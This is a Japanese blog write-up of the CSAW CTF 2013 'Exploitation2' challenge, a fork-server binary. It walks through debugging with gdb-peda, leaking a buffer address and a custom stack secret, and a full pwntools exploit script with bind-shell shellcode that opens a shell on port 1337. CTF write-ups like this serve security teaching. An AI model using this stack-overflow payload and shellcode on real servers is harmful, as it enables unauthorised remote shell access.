ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

CSAW CTF Qualification Round 2013 Exploitation2

この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。
これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っているsocketディスクリプタを繋げてあげる必要がある。
私は最初、これが全く意味が分からずに詰んだ記憶しかないため、自分が攻撃するバイナリがどういったserverなのかを把握することが必要である。
ではさっそくみてみよう!

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ nc localhost 31338
����ﳱGWelcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

なんか最初に変な文字列が出力された後にWelcomeの文字列が来てる…。ここら辺はデバッグしながら見ていったほうがいいかな。その後で「ここに攻撃コード打ってね!」といかにもの奴が存在している。早速適当なものを打ってみようかなと思って、FSB、負数、BoFを試したが反応がなかった。私が思う限り、bufferが想定以上に取られているか、ある一定以上の文字列を受け取らないようにしているか、特定の文字列しか受け付けてないかなどの可能性を考えながらデバッグで見ることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

なんでもありみたいな感じですね…今回は素直にshellcode使ってよさそう。
次は例の変な文字列を見てみようかな

[-------------------------------------code-------------------------------------]
   0x8048881 <handle+116>:   mov    DWORD PTR [esp+0x4],eax
   0x8048885 <handle+120>:   mov    eax,DWORD PTR [ebp+0x8]
   0x8048888 <handle+123>:   mov    DWORD PTR [esp],eax
=> 0x804888b <handle+126>:   call   0x8048720 <send@plt>
   0x8048890 <handle+131>:   mov    DWORD PTR [esp+0xc],0x0
   0x8048898 <handle+139>:   mov    DWORD PTR [esp+0x8],0x4
   0x80488a0 <handle+147>:   lea    eax,[ebp-0xc]
   0x80488a3 <handle+150>:   mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffc77c (0xffffc77c)
arg[2]: 0x4 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc760 --> 0x4 
0004| 0xffffc764 --> 0xffffc77c (0xffffc77c)
0008| 0xffffc768 --> 0x4 
0012| 0xffffc76c --> 0x0 
0016| 0xffffc770 --> 0x0 
0020| 0xffffc774 --> 0x0 
0024| 0xffffc778 --> 0x0 
0028| 0xffffc77c (0xffffc77c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x0804888b in handle (newsock=0x4) at exploit2.c:35
35 in exploit2.c
gdb-peda$ 
[-------------------------------------code-------------------------------------]
   0x80488a3 <handle+150>:   mov    DWORD PTR [esp+0x4],eax
   0x80488a7 <handle+154>:   mov    eax,DWORD PTR [ebp+0x8]
   0x80488aa <handle+157>:   mov    DWORD PTR [esp],eax
=> 0x80488ad <handle+160>:   call   0x8048720 <send@plt>
   0x80488b2 <handle+165>:   mov    DWORD PTR [esp+0xc],0x0
   0x80488ba <handle+173>:   mov    DWORD PTR [esp+0x8],0x63
   0x80488c2 <handle+181>:   mov    DWORD PTR [esp+0x4],0x8048cf0
   0x80488ca <handle+189>:   mov    eax,DWORD PTR [ebp+0x8]
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffcf7c --> 0x3ef8e649 
arg[2]: 0x4 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc760 --> 0x4 
0004| 0xffffc764 --> 0xffffcf7c --> 0x3ef8e649 
0008| 0xffffc768 --> 0x4 
0012| 0xffffc76c --> 0x0 
0016| 0xffffc770 --> 0x0 
0020| 0xffffc774 --> 0x0 
0024| 0xffffc778 --> 0x0 
0028| 0xffffc77c (0xffffc77c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080488ad 36 in exploit2.c
gdb-peda$ 

重要な部分だけざっくりと抜粋してみた。どうやら最初の4byteはbufferのアドレス、次の4byteは自前で実装しているsecret(canary)だった。このsecretはreturnする前にstackが壊れていなければreturnするような仕組みになっていた。さらに驚くべきことにbuffer自身は0x800(2048)byteあり、とても大きいことが分かった。bufferから0x800先にsecretがいて、popを三回した後にreturnアドレスが来ていることが分かったため、これらの情報をもとにコードを組んでみた。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
HOST = "localhost"
PORT = 31338
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./exploit2')
        print "[+] connect to local\n"

buffer_addr = conn.recv(4)
shellcode="\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

nop1 = '\x90' * (0x800 - len(shellcode))
secret = conn.recv(4)
nop2 = '\x90' * 0xc
payload = shellcode + nop1 + secret + nop2  + buffer_addr 

conn.recvuntil('here:')
conn.send(payload)

今回使用したshellcodeはshell-stormから引っ張てきたBind shellと言われるもので、portとしては1337で待ち受けるようなshellcodeである。あとはこのコードを実行した後にncコマンドで1337portに繋げてあげればshellが立ち上がっているため、適当なコマンドを打ってあげればよい。

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ netstat -na |grep 'LISTEN'
tcp        0      0 0.0.0.0:31338           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN     

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ nc localhost 1337
whoami
shima

[総評] fork-server入門としてはいい問題